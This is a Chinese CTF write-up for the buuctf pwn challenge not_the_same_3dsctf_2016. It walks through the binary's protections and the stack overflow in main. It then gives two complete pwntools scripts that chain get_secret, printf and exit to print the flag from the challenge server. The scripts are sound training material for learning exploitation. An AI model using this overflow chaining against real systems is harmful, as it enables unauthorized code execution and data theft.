当前位置: 首页 > news >正文

buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

http://www.cnnetsun.cn/news/108274.html

相关文章:

  • 轻松高效生成音频字幕:OpenLRC完整指南与多语言LRC文件制作
  • 鸿蒙投屏神器HOScrcpy:5分钟快速上手完整指南
  • 从零到一:全栈FastAPI项目部署实战指南
  • 刚刚发布!中信所发布2025年度国际期刊预警名单
  • OCLP-Mod技术解析:为老旧Mac注入新活力的完整方案
  • QuickLook视频预览优化指南:3分钟解决所有播放问题
  • macOS开源应用终极指南:免费工具集合实现效率飞跃
  • 从零构建:BewlyBewly多语言架构深度解析与实战指南
  • 智能家居控制反馈语音:由EmotiVoice驱动
  • Unitree机器人Python控制终极指南:快速掌握unitree_sdk2_python
  • 三步搞定!B站8K超清视频下载神器bilidown使用指南
  • 深度学习模型扩展实践:从理论突破到工业部署的完整指南
  • 如何快速配置Git项目:跨平台开发的终极指南
  • Clay UI库如何实现微秒级响应的高性能交互系统?
  • OkHttp跨平台网络库:构建多端统一API的高性能连接管理方案
  • 商城App标签选择组件开发,如何React Native鸿蒙跨平台开发`react-native-tags`是一个流行的React Native库,用于实现标签选择功能
  • Dolphin智能文档解析:三步告别PDF转Markdown的烦恼
  • 17、邮件安全与Procmail使用指南
  • EmotiVoice语音合成情感冲突规避机制:避免怪异混合情绪
  • GP2040-CE开源固件:构建高性能定制化游戏控制器解决方案
  • GoScan:让网络扫描变得简单高效的终极指南
  • 开发者必看:EmotiVoice源码结构与二次开发入门指南
  • XCOM V2.6串口调试工具:嵌入式开发的得力助手
  • Obsidian Tasks 插件:重塑知识库任务管理的新范式
  • Android键盘状态监听实战指南:从基础到进阶
  • 解锁细胞分割新高度:Cellpose cyto3模型完整应用手册
  • 裁员潮下的测试人:真正聪明的人正在做这三件事
  • 百度网盘秒传黑科技:网页版极速转存全解析
  • 从零开始:Psi4量子化学计算的5大实战应用场景
  • SourceGit:现代化Git图形化客户端的革命性体验